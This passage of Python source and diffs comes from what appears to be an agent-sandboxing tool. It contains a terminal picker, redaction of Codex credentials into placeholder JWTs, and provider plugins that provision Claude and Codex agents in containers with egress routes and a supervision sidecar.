from __future__ import annotations
|
||||||
|
|
||||||
|
import curses
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from typing import Any, Optional
|
||||||
|
|
||||||
|
|
||||||
|
def filter_select(
|
||||||
|
items: list[str],
|
||||||
|
*,
|
||||||
|
title: str = "",
|
||||||
|
tty_path: str = "/dev/tty",
|
||||||
|
) -> Optional[str]:
|
||||||
|
"""Render a filter-select picker over *items*.
|
||||||
|
|
||||||
|
Returns the selected item string, or ``None`` if the user cancelled
|
||||||
|
(Esc / ``q`` / Ctrl-C / Ctrl-D) or if the terminal is too small.
|
||||||
|
|
||||||
|
The picker opens *tty_path* directly so it works even when
|
||||||
|
stdout/stdin are redirected.
|
||||||
|
"""
|
||||||
|
if not items:
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
tty_fd = open(tty_path, "r+b", buffering=0)
|
||||||
|
except OSError:
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Use os.dup() to duplicate the fd so the original file object
|
||||||
|
# and FileIO in _run_picker each manage independent copies,
|
||||||
|
# preventing double-close errors.
|
||||||
|
fd_dup = os.dup(tty_fd.fileno())
|
||||||
|
return _run_picker(items, title=title, tty_fd=fd_dup)
|
||||||
|
finally:
|
||||||
|
tty_fd.close()
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Internal implementation
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
_KEY_ESC = 27
|
||||||
|
_KEY_CTRL_C = 3
|
||||||
|
_KEY_CTRL_D = 4
|
||||||
|
_KEY_BACKSPACE_WIN = 8
|
||||||
|
_KEY_ENTER_ALT = 10
|
||||||
|
|
||||||
|
_CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
|
||||||
|
|
||||||
|
|
||||||
|
def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
|
||||||
|
"""Drive a curses session on *tty_fd* and return the picked item."""
|
||||||
|
# newterm lets us run curses on an arbitrary fd rather than the
|
||||||
|
# process's controlling tty / stdout — crucial when stdout is piped.
|
||||||
|
os.environ.setdefault("TERM", "xterm-256color")
|
||||||
|
|
||||||
|
# Save / restore the real stdin/stdout so curses newterm can use tty_fd.
|
||||||
|
orig_stdin = sys.__stdin__
|
||||||
|
orig_stdout = sys.__stdout__
|
||||||
|
|
||||||
|
try:
|
||||||
|
import io
|
||||||
|
tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
|
||||||
|
sys.__stdin__ = tty_text # type: ignore[assignment]
|
||||||
|
sys.__stdout__ = tty_text # type: ignore[assignment]
|
||||||
|
|
||||||
|
# curses.wrapper calls initscr which honours sys.__stdin__ / __stdout__
|
||||||
|
# on some builds; use newterm where available.
|
||||||
|
screen = curses.initscr()
|
||||||
|
curses.noecho()
|
||||||
|
curses.cbreak()
|
||||||
|
screen.keypad(True)
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = _picker_loop(screen, items, title=title)
|
||||||
|
finally:
|
||||||
|
screen.keypad(False)
|
||||||
|
curses.nocbreak()
|
||||||
|
curses.echo()
|
||||||
|
curses.endwin()
|
||||||
|
except Exception: # noqa: W0718 — curses can raise many error types
|
||||||
|
return None
|
||||||
|
finally:
|
||||||
|
sys.__stdin__ = orig_stdin # type: ignore[assignment]
|
||||||
|
sys.__stdout__ = orig_stdout # type: ignore[assignment]
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
|
||||||
|
query = ""
|
||||||
|
cursor = 0
|
||||||
|
|
||||||
|
while True:
|
||||||
|
filtered = _filter_items(items, query)
|
||||||
|
|
||||||
|
# Clamp cursor into the visible list.
|
||||||
|
if not filtered:
|
||||||
|
cursor = 0
|
||||||
|
elif cursor >= len(filtered):
|
||||||
|
cursor = len(filtered) - 1
|
||||||
|
|
||||||
|
try:
|
||||||
|
_render(screen, filtered, cursor, query=query, title=title)
|
||||||
|
except curses.error:
|
||||||
|
# Terminal too small or write error — bail out.
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
key = screen.getch()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return None
|
||||||
|
|
||||||
|
if key in _CANCEL_KEYS:
|
||||||
|
return None
|
||||||
|
|
||||||
|
if key in (curses.KEY_ENTER, _KEY_ENTER_ALT, ord("\r")):
|
||||||
|
return filtered[cursor] if filtered else None
|
||||||
|
|
||||||
|
if key in (curses.KEY_UP, ord("k")):
|
||||||
|
if cursor > 0:
|
||||||
|
cursor -= 1
|
||||||
|
|
||||||
|
elif key in (curses.KEY_DOWN, ord("j")):
|
||||||
|
if cursor < len(filtered) - 1:
|
||||||
|
cursor += 1
|
||||||
|
|
||||||
|
elif key in (curses.KEY_BACKSPACE, _KEY_BACKSPACE_WIN, 127):
|
||||||
|
query = query[:-1]
|
||||||
|
# After narrowing the filter, keep cursor in range.
|
||||||
|
new_filtered = _filter_items(items, query)
|
||||||
|
if cursor >= len(new_filtered):
|
||||||
|
cursor = max(0, len(new_filtered) - 1)
|
||||||
|
|
||||||
|
elif 32 <= key <= 126:
|
||||||
|
# Printable ASCII — append to query and reset cursor so the
|
||||||
|
# top of the newly-filtered list is selected.
|
||||||
|
query += chr(key)
|
||||||
|
cursor = 0
|
||||||
|
|
||||||
|
|
||||||
|
def _filter_items(items: list[str], query: str) -> list[str]:
|
||||||
|
if not query:
|
||||||
|
return list(items)
|
||||||
|
q = query.lower()
|
||||||
|
return [i for i in items if q in i.lower()]
|
||||||
|
|
||||||
|
|
||||||
|
def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
|
||||||
|
screen.erase()
|
||||||
|
rows, cols = screen.getmaxyx()
|
||||||
|
min_rows = 5
|
||||||
|
|
||||||
|
if rows < min_rows:
|
||||||
|
raise curses.error("terminal too small")
|
||||||
|
|
||||||
|
row = 0
|
||||||
|
|
||||||
|
if title and row < rows - 1:
|
||||||
|
_addstr_safe(screen, row, 0, title[:cols - 1], curses.A_BOLD)
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
filter_label = f"Filter: {query}"
|
||||||
|
if row < rows - 1:
|
||||||
|
_addstr_safe(screen, row, 0, filter_label[:cols - 1])
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
sep = "─" * min(cols - 1, 40)
|
||||||
|
if row < rows - 1:
|
||||||
|
_addstr_safe(screen, row, 0, sep)
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
list_start = row
|
||||||
|
# Reserve two rows for separator + help line at bottom.
|
||||||
|
list_rows = rows - list_start - 2
|
||||||
|
if list_rows < 1:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Scroll window: keep cursor visible.
|
||||||
|
scroll = max(0, cursor - list_rows + 1)
|
||||||
|
visible = filtered[scroll: scroll + list_rows]
|
||||||
|
|
||||||
|
for idx, item in enumerate(visible):
|
||||||
|
abs_idx = scroll + idx
|
||||||
|
attr = curses.A_REVERSE if abs_idx == cursor else curses.A_NORMAL
|
||||||
|
prefix = "> " if abs_idx == cursor else " "
|
||||||
|
line = (prefix + item)[:cols - 1]
|
||||||
|
if row < rows - 1:
|
||||||
|
_addstr_safe(screen, row, 0, line, attr)
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
if row < rows - 1:
|
||||||
|
_addstr_safe(screen, row, 0, sep)
|
||||||
|
row += 1
|
||||||
|
|
||||||
|
help_line = "[↑↓/jk] move [Enter] select [Esc/q] cancel"
|
||||||
|
if row < rows:
|
||||||
|
_addstr_safe(screen, min(rows - 1, row), 0, help_line[:cols - 1])
|
||||||
|
|
||||||
|
screen.refresh()
|
||||||
|
|
||||||
|
|
||||||
|
def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
|
||||||
|
try:
|
||||||
|
screen.addstr(row, col, text, attr)
|
||||||
|
except curses.error:
|
||||||
|
pass
|
||||||
+22
-19
@@ -13,6 +13,7 @@ import os
|
|||||||
from copy import deepcopy
|
from copy import deepcopy
|
||||||
from datetime import datetime, timezone
|
from datetime import datetime, timezone
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
from .log import die
|
from .log import die
|
||||||
from .util import expand_tilde
|
from .util import expand_tilde
|
||||||
@@ -50,7 +51,8 @@ def codex_host_access_token(
|
|||||||
tokens = raw.get("tokens")
|
tokens = raw.get("tokens")
|
||||||
if not isinstance(tokens, dict):
|
if not isinstance(tokens, dict):
|
||||||
die(f"codex host credentials: {path} is missing tokens")
|
die(f"codex host credentials: {path} is missing tokens")
|
||||||
access = tokens.get("access_token")
|
tokens_typed = cast(dict[str, object], tokens)
|
||||||
|
access = tokens_typed.get("access_token")
|
||||||
if not isinstance(access, str) or not access:
|
if not isinstance(access, str) or not access:
|
||||||
die(
|
die(
|
||||||
f"codex host credentials: {path} is missing tokens.access_token. "
|
f"codex host credentials: {path} is missing tokens.access_token. "
|
||||||
@@ -105,14 +107,14 @@ def write_codex_dummy_auth_file(
|
|||||||
path.chmod(0o600)
|
path.chmod(0o600)
|
||||||
|
|
||||||
|
|
||||||
def _read_auth_object(path: Path) -> dict:
|
def _read_auth_object(path: Path) -> dict[str, object]:
|
||||||
try:
|
try:
|
||||||
raw = json.loads(path.read_text())
|
raw = json.loads(path.read_text())
|
||||||
except (OSError, json.JSONDecodeError) as e:
|
except (OSError, json.JSONDecodeError) as e:
|
||||||
die(f"codex host credentials: could not read valid JSON at {path}: {e}")
|
die(f"codex host credentials: could not read valid JSON at {path}: {e}")
|
||||||
if not isinstance(raw, dict):
|
if not isinstance(raw, dict):
|
||||||
die(f"codex host credentials: {path} must contain a JSON object")
|
die(f"codex host credentials: {path} must contain a JSON object")
|
||||||
return raw
|
return cast(dict[str, object], raw)
|
||||||
|
|
||||||
|
|
||||||
def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
|
def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
|
||||||
@@ -151,11 +153,11 @@ def _dummy_jwt_from_host(
|
|||||||
return _dummy_jwt(now, exp_ts=exp_ts)
|
return _dummy_jwt(now, exp_ts=exp_ts)
|
||||||
if not isinstance(payload, dict):
|
if not isinstance(payload, dict):
|
||||||
return _dummy_jwt(now, exp_ts=exp_ts)
|
return _dummy_jwt(now, exp_ts=exp_ts)
|
||||||
return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
|
return _encode_dummy_jwt(_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts))
|
||||||
|
|
||||||
|
|
||||||
def _encode_dummy_jwt(payload: dict) -> str:
|
def _encode_dummy_jwt(payload: dict[str, object]) -> str:
|
||||||
def enc(obj: dict) -> str:
|
def enc(obj: dict[str, object]) -> str:
|
||||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||||
|
|
||||||
@@ -163,23 +165,24 @@ def _encode_dummy_jwt(payload: dict) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def _redact_jwt_payload(
|
def _redact_jwt_payload(
|
||||||
payload: dict,
|
payload: dict[str, object],
|
||||||
*,
|
*,
|
||||||
now: datetime | None = None,
|
now: datetime | None = None,
|
||||||
exp_ts: int | None = None,
|
exp_ts: int | None = None,
|
||||||
) -> dict:
|
) -> dict[str, object]:
|
||||||
out = _redact_claims(payload)
|
out = _redact_claims(payload)
|
||||||
if not isinstance(out, dict):
|
if not isinstance(out, dict):
|
||||||
out = {}
|
out = {}
|
||||||
out["exp"] = _dummy_exp(now, exp_ts)
|
out_typed: dict[str, object] = cast(dict[str, object], out)
|
||||||
out.setdefault("sub", "bot-bottle-placeholder")
|
out_typed["exp"] = _dummy_exp(now, exp_ts)
|
||||||
return out
|
out_typed.setdefault("sub", "bot-bottle-placeholder")
|
||||||
|
return out_typed
|
||||||
|
|
||||||
|
|
||||||
def _redact_claims(value: object) -> object:
|
def _redact_claims(value: object) -> object:
|
||||||
if isinstance(value, dict):
|
if isinstance(value, dict):
|
||||||
out: dict[str, object] = {}
|
out: dict[str, object] = {}
|
||||||
for key, inner in value.items():
|
for key, inner in cast(dict[str, object], value).items():
|
||||||
lower = key.lower()
|
lower = key.lower()
|
||||||
if key == "https://api.openai.com/profile":
|
if key == "https://api.openai.com/profile":
|
||||||
out[key] = _redact_profile_claim(inner)
|
out[key] = _redact_profile_claim(inner)
|
||||||
@@ -207,16 +210,16 @@ def _redact_claims(value: object) -> object:
|
|||||||
return "bot-bottle-placeholder"
|
return "bot-bottle-placeholder"
|
||||||
|
|
||||||
|
|
||||||
def _redact_profile_claim(value: object) -> dict:
|
def _redact_profile_claim(value: object) -> dict[str, object]:
|
||||||
profile = value if isinstance(value, dict) else {}
|
profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||||
return {
|
return {
|
||||||
"email": "bot-bottle@example.invalid",
|
"email": "bot-bottle@example.invalid",
|
||||||
"email_verified": bool(profile.get("email_verified", True)),
|
"email_verified": bool(profile.get("email_verified", True)),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def _redact_auth_claim(value: object) -> dict:
|
def _redact_auth_claim(value: object) -> dict[str, object]:
|
||||||
auth = value if isinstance(value, dict) else {}
|
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||||
out: dict[str, object] = {}
|
out: dict[str, object] = {}
|
||||||
for key, inner in auth.items():
|
for key, inner in auth.items():
|
||||||
lower = key.lower()
|
lower = key.lower()
|
||||||
@@ -247,7 +250,7 @@ def _redact_auth_claim(value: object) -> dict:
|
|||||||
def _redact_codex_auth(
|
def _redact_codex_auth(
|
||||||
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
||||||
) -> object:
|
) -> object:
|
||||||
auth = value if isinstance(value, dict) else {}
|
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||||
out: dict[str, object] = {}
|
out: dict[str, object] = {}
|
||||||
for key, inner in auth.items():
|
for key, inner in auth.items():
|
||||||
lower = key.lower()
|
lower = key.lower()
|
||||||
@@ -269,7 +272,7 @@ def _redact_codex_auth(
|
|||||||
def _redact_token_block(
|
def _redact_token_block(
|
||||||
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
||||||
) -> dict[str, object]:
|
) -> dict[str, object]:
|
||||||
tokens = value if isinstance(value, dict) else {}
|
tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||||
out: dict[str, object] = {}
|
out: dict[str, object] = {}
|
||||||
for key, inner in tokens.items():
|
for key, inner in tokens.items():
|
||||||
lower = key.lower()
|
lower = key.lower()
|
||||||
@@ -306,7 +309,7 @@ def _jwt_exp(token: str) -> datetime | None:
|
|||||||
return None
|
return None
|
||||||
if not isinstance(payload, dict):
|
if not isinstance(payload, dict):
|
||||||
return None
|
return None
|
||||||
exp = payload.get("exp")
|
exp = cast(dict[str, object], payload).get("exp")
|
||||||
if not isinstance(exp, (int, float)):
|
if not isinstance(exp, (int, float)):
|
||||||
return None
|
return None
|
||||||
return datetime.fromtimestamp(exp, timezone.utc)
|
return datetime.fromtimestamp(exp, timezone.utc)
|
||||||
|
|||||||
@@ -0,0 +1,226 @@
|
|||||||
|
"""Claude agent provider plugin (PRD 0050, contrib).
|
||||||
|
|
||||||
|
The Claude-specific behavior previously inlined under
|
||||||
|
`agent_provider.agent_provision_plan` (claude.json trust marker,
|
||||||
|
api.anthropic.com egress route, OAuth-token placeholder), plus
|
||||||
|
the `claude mcp add` invocation that registers the supervise
|
||||||
|
sidecar in claude-code's user config (PRD 0013)."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shlex
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import TYPE_CHECKING
|
||||||
|
|
||||||
|
from ...agent_provider import (
|
||||||
|
AgentProvider,
|
||||||
|
AgentProviderRuntime,
|
||||||
|
AgentProvisionFile,
|
||||||
|
AgentProvisionPlan,
|
||||||
|
)
|
||||||
|
from ...egress import EgressRoute
|
||||||
|
from ...log import die, info, warn
|
||||||
|
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from ...backend import Bottle, BottlePlan
|
||||||
|
|
||||||
|
|
||||||
|
_REPO_ROOT = Path(__file__).resolve().parents[3]
|
||||||
|
|
||||||
|
_SUPERVISE_MCP_NAME = "supervise"
|
||||||
|
|
||||||
|
|
||||||
|
def _skills_dir(guest_home: str) -> str:
|
||||||
|
return f"{guest_home}/.claude/skills"
|
||||||
|
|
||||||
|
|
||||||
|
def _prompt_path(guest_home: str) -> str:
|
||||||
|
return f"{guest_home}/.bot-bottle-prompt.txt"
|
||||||
|
|
||||||
|
_RUNTIME = AgentProviderRuntime(
|
||||||
|
template="claude",
|
||||||
|
command="claude",
|
||||||
|
image="bot-bottle-claude:latest",
|
||||||
|
dockerfile=str(_REPO_ROOT / "Dockerfile.claude"),
|
||||||
|
prompt_mode="append_file",
|
||||||
|
bypass_args=("--dangerously-skip-permissions",),
|
||||||
|
resume_args=("--continue",),
|
||||||
|
remote_control_args=("--remote-control",),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class ClaudeAgentProvider(AgentProvider):
|
||||||
|
@property
|
||||||
|
def runtime(self) -> AgentProviderRuntime:
|
||||||
|
return _RUNTIME
|
||||||
|
|
||||||
|
def provision_plan(
|
||||||
|
self,
|
||||||
|
*,
|
||||||
|
dockerfile: str,
|
||||||
|
state_dir: Path,
|
||||||
|
guest_home: str,
|
||||||
|
guest_env: dict[str, str] | None = None,
|
||||||
|
auth_token: str = "",
|
||||||
|
forward_host_credentials: bool = False,
|
||||||
|
host_env: dict[str, str] | None = None,
|
||||||
|
trusted_project_path: str = "",
|
||||||
|
) -> AgentProvisionPlan:
|
||||||
|
del forward_host_credentials, host_env # Codex-only knobs
|
||||||
|
resolved_guest_env = dict(guest_env or {})
|
||||||
|
trusted_path = trusted_project_path or guest_home
|
||||||
|
|
||||||
|
env_vars: dict[str, str] = {
|
||||||
|
"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
|
||||||
|
"DISABLE_ERROR_REPORTING": "1",
|
||||||
|
}
|
||||||
|
claude_config = state_dir / "claude.json"
|
||||||
|
claude_projects = {guest_home: {"hasTrustDialogAccepted": True}}
|
||||||
|
claude_projects[trusted_path] = {"hasTrustDialogAccepted": True}
|
||||||
|
claude_config.write_text(json.dumps({
|
||||||
|
"hasCompletedOnboarding": True,
|
||||||
|
"theme": "dark",
|
||||||
|
"bypassPermissionsModeAccepted": True,
|
||||||
|
"projects": claude_projects,
|
||||||
|
}, indent=2) + "\n")
|
||||||
|
claude_config.chmod(0o600)
|
||||||
|
files = (
|
||||||
|
AgentProvisionFile(claude_config, f"{guest_home}/.claude.json"),
|
||||||
|
)
|
||||||
|
egress_routes = (EgressRoute(
|
||||||
|
host="api.anthropic.com",
|
||||||
|
auth_scheme="Bearer" if auth_token else "",
|
||||||
|
token_ref=auth_token,
|
||||||
|
tls_passthrough=True,
|
||||||
|
),)
|
||||||
|
hidden_env_names: frozenset[str] = frozenset()
|
||||||
|
if auth_token:
|
||||||
|
env_vars["CLAUDE_CODE_OAUTH_TOKEN"] = "egress-placeholder"
|
||||||
|
hidden_env_names = frozenset({"CLAUDE_CODE_OAUTH_TOKEN"})
|
||||||
|
|
||||||
|
return AgentProvisionPlan(
|
||||||
|
template=_RUNTIME.template,
|
||||||
|
command=_RUNTIME.command,
|
||||||
|
prompt_mode=_RUNTIME.prompt_mode,
|
||||||
|
image=_RUNTIME.image,
|
||||||
|
dockerfile=dockerfile,
|
||||||
|
env_vars=env_vars,
|
||||||
|
guest_env=resolved_guest_env,
|
||||||
|
files=files,
|
||||||
|
egress_routes=egress_routes,
|
||||||
|
hidden_env_names=hidden_env_names,
|
||||||
|
)
|
||||||
|
|
||||||
|
def provision_skills(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Copy each named skill tree from `~/.claude/skills/<name>/`
|
||||||
|
on the host into the guest's claude-code skills dir. No-op
|
||||||
|
when the agent has no skills."""
|
||||||
|
from ...backend.util import host_skill_dir
|
||||||
|
|
||||||
|
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
||||||
|
if not agent.skills:
|
||||||
|
return
|
||||||
|
skills_dir = _skills_dir(plan.guest_home)
|
||||||
|
bottle.exec(f"mkdir -p {skills_dir}", user="root")
|
||||||
|
for name in agent.skills:
|
||||||
|
src = host_skill_dir(name)
|
||||||
|
if not os.path.isdir(src):
|
||||||
|
die(
|
||||||
|
f"skill {name!r} disappeared from host between "
|
||||||
|
f"validation and copy at {src}."
|
||||||
|
)
|
||||||
|
dst = f"{skills_dir}/{name}"
|
||||||
|
info(f"copying skill {name} into {bottle.name}:{dst}")
|
||||||
|
bottle.exec(f"rm -rf {dst} && mkdir -p {dst}", user="root")
|
||||||
|
bottle.cp_in(f"{src}/.", f"{dst}/")
|
||||||
|
bottle.exec(f"chown -R node:node {dst}", user="root")
|
||||||
|
|
||||||
|
def provision_prompt(self, plan: "BottlePlan", bottle: "Bottle") -> str | None:
|
||||||
|
"""Copy the prompt file into the guest, fix ownership/mode.
|
||||||
|
Returns the in-guest path iff the agent has a non-empty
|
||||||
|
prompt (drives `--append-system-prompt-file`); the file is
|
||||||
|
copied either way so the path always exists."""
|
||||||
|
prompt_path = _prompt_path(plan.guest_home)
|
||||||
|
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
|
||||||
|
bottle.exec(
|
||||||
|
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
|
||||||
|
user="root",
|
||||||
|
)
|
||||||
|
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
||||||
|
return prompt_path if agent.prompt else None
|
||||||
|
|
||||||
|
def provision(self, plan: "BottlePlan", bottle: "Bottle") -> None:
|
||||||
|
"""Apply the claude-side declarative provision steps from
|
||||||
|
`plan.agent_provision` — today that's the `claude.json`
|
||||||
|
trust-marker file. Hot-replace this with a richer flow as
|
||||||
|
claude-code's harness shape evolves."""
|
||||||
|
provision = plan.agent_provision
|
||||||
|
for d in provision.dirs:
|
||||||
|
path = shlex.quote(d.guest_path)
|
||||||
|
_exec(bottle, f"mkdir -p {path}", f"could not create {d.guest_path}")
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chown {shlex.quote(d.owner)} {path}",
|
||||||
|
f"could not chown {d.guest_path}",
|
||||||
|
)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chmod {shlex.quote(d.mode)} {path}",
|
||||||
|
f"could not chmod {d.guest_path}",
|
||||||
|
)
|
||||||
|
for command in provision.pre_copy:
|
||||||
|
_exec(bottle, shlex.join(command.argv), command.error)
|
||||||
|
for f in provision.files:
|
||||||
|
bottle.cp_in(str(f.host_path), f.guest_path)
|
||||||
|
path = shlex.quote(f.guest_path)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chown {shlex.quote(f.owner)} {path}",
|
||||||
|
f"could not chown {f.guest_path}",
|
||||||
|
)
|
||||||
|
_exec(
|
||||||
|
bottle,
|
||||||
|
f"chmod {shlex.quote(f.mode)} {path}",
|
||||||
|
f"could not chmod {f.guest_path}",
|
||||||
|
)
|
||||||
|
for command in provision.verify:
|
||||||
|
_exec(bottle, shlex.join(command.argv), command.error)
|
||||||
|
|
||||||
|
def provision_supervise_mcp(
|
||||||
|
self,
|
||||||
|
plan: "BottlePlan",
|
||||||
|
bottle: "Bottle",
|
||||||
|
supervise_url: str,
|
||||||
|
) -> None:
|
||||||
|
"""Run `claude mcp add` inside the agent guest to register the
|
||||||
|
supervise sidecar in claude-code's user config (~/.claude.json).
|
||||||
|
|
||||||
|
Failure is logged but not fatal — the bottle still works without
|
||||||
|
the entry; the operator can register it manually."""
|
||||||
|
if plan.supervise_plan is None:
|
||||||
|
return
|
||||||
|
info(f"registering supervise MCP server in agent claude config → {supervise_url}")
|
||||||
|
r = bottle.exec(
|
||||||
|
f"claude mcp add --scope user --transport http "
|
||||||
|
f"{_SUPERVISE_MCP_NAME} {supervise_url}",
|
||||||
|
user="node",
|
||||||
|
)
|
||||||
|
if r.returncode != 0:
|
||||||
|
warn(
|
||||||
|
f"`claude mcp add supervise` failed (exit {r.returncode}): "
|
||||||
|
f"{(r.stderr or r.stdout or '').strip()}. Inside the bottle, "
|
||||||
|
f"register manually with: "
|
||||||
|
f"claude mcp add --scope user --transport http supervise {supervise_url}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _exec(bottle: "Bottle", script: str, error: str) -> None:
|
||||||
|
result = bottle.exec(script, user="root")
|
||||||
|
if result.returncode != 0:
|
||||||
|
detail = (result.stderr or result.stdout).strip()
|
||||||
|
if detail:
|
||||||
|
detail = f": {detail}"
|
||||||
|
die(f"agent provider provisioning: {error}{detail}")
|
||||||
@@ -0,0 +1,271 @@
|
|||||||
|
"""Codex agent provider plugin (PRD 0050, contrib).
|
||||||
|
|
||||||
|
The Codex-specific behavior previously inlined under
|
||||||
|
`agent_provider.agent_provision_plan` (config.toml trust marker,
|
||||||
|
chatgpt.com / api.openai.com egress routes, optional host-credential
|
||||||
|
forwarding with dummy-auth.json + verify), plus the `codex mcp add`
|
||||||
|
invocation that registers the supervise sidecar in Codex's
|
||||||
|
~/.codex/config.toml (PRD 0050)."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import shlex
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import TYPE_CHECKING
|
||||||
|
|
||||||
|
from ...agent_provider import (
|
||||||
|
CODEX_HOST_CREDENTIAL_HOSTS,
|
||||||
|
AgentProvider,
|
||||||
|
AgentProviderRuntime,
|
||||||
|
AgentProvisionCommand,
|
||||||
|
AgentProvisionDir,
|
||||||
|
AgentProvisionFile,
|
||||||
|
AgentProvisionPlan,
|
||||||
|
)
|
||||||
|
from ...codex_auth import codex_host_access_token, write_codex_dummy_auth_file
|
||||||
|
from ...egress import CODEX_HOST_CREDENTIAL_TOKEN_REF, EgressRoute
|
||||||
|
from ...log import die, info, warn
|
||||||
|
|
||||||
|
|
||||||
|
if TYPE_CHECKING:
|
||||||
|
from ...backend import Bottle, BottlePlan
|
||||||
|
|
||||||
|
|
||||||
|
_REPO_ROOT = Path(__file__).resolve().parents[3]
|
||||||
|
|
||||||
|
_SUPERVISE_MCP_NAME = "supervise"
|
||||||
|
|
||||||
|
|
||||||
|
def _skills_dir(guest_home: str) -> str:
|
||||||
|
# Codex agents still read skills from the claude-code convention
|
||||||
|
# (~/.claude/skills/) — the bot-bottle-codex image follows the
|
||||||
|
# same layout. If Codex grows native skill discovery later,
|
||||||
|
# change here.
|
||||||
|
return f"{guest_home}/.claude/skills"
|
||||||
|
|
||||||
|
|
||||||
|
def _prompt_path(guest_home: str) -> str:
|
||||||
|
return f"{guest_home}/.bot-bottle-prompt.txt"
|
||||||
|
|
||||||
|
_RUNTIME = AgentProviderRuntime(
|
||||||
|
template="codex",
|
||||||
|
command="codex",
|
||||||
|
image="bot-bottle-codex:latest",
|
||||||
|
dockerfile=str(_REPO_ROOT / "Dockerfile.codex"),
|
||||||
|
prompt_mode="read_prompt_file",
|
||||||
|
bypass_args=("--dangerously-bypass-approvals-and-sandbox",),
|
||||||
|
resume_args=("resume", "--last"),
|
||||||
|
remote_control_args=(),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class CodexAgentProvider(AgentProvider):
|
||||||
|
@property
|
||||||
|
def runtime(self) -> AgentProviderRuntime:
|
||||||
|
return _RUNTIME
|
||||||
|
|
||||||
|
def provision_plan(
|
||||||
|
self,
|
||||||
|
*,
|
||||||
|
dockerfile: str,
|
||||||
|
state_dir: Path,
|
||||||
|
guest_home: str,
|
||||||
|
guest_env: dict[str, str] | None = None,
|
||||||
|
auth_token: str = "",
|
||||||
|
forward_host_credentials: bool = False,
|
||||||
|
host_env: dict[str, str] | None = None,
|
||||||
|
trusted_project_path: str = "",
|
||||||
|
) -> AgentProvisionPlan:
|
||||||
|
del auth_token # Claude-only knob
|
||||||
|
resolved_guest_env = dict(guest_env or {})
|
||||||
|
trusted_path = trusted_project_path or guest_home
|
||||||
|
|
||||||
|
env_vars: dict[str, str] = {
|
||||||
|
"CODEX_CA_CERTIFICATE": "/etc/ssl/certs/ca-certificates.crt",
|
||||||
|
}
|
||||||
|
auth_dir = resolved_guest_env.get("CODEX_HOME", f"{guest_home}/.codex")
|
||||||
|
if forward_host_credentials:
|
||||||
|
env_vars["CODEX_HOME"] = auth_dir
|
||||||
|
|
||||||
|
dirs = [AgentProvisionDir(auth_dir)]
|
||||||
|
files: list[AgentProvisionFile] = []
|
||||||
|
pre_copy: list[AgentProvisionCommand] = []
|
||||||
|
verify: list[AgentProvisionCommand] = []
|
||||||
|
provisioned_env: dict[str, str] = {}
|
||||||
|
|
||||||
|
config_path = f"{auth_dir}/config.toml"
|
||||||
|
config_file = state_dir / "codex-config.toml"
|
||||||
|
toml_path = trusted_path.replace("\\", "\\\\").replace('"', '\\"')
|
||||||
|
config_file.write_text(
|
||||||
|
f'[projects."{toml_path}"]\n'
|
||||||
|
'trust_level = "trusted"\n'
|
